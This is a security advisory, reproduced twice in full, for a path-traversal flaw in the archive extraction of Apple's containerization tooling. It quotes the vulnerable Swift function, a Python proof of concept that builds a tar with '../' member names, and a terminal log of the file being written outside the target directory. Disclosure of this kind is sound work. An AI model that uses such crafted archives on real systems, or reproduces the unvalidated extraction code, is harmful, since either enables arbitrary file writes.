CVE-2026-20613

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")

% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")

% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.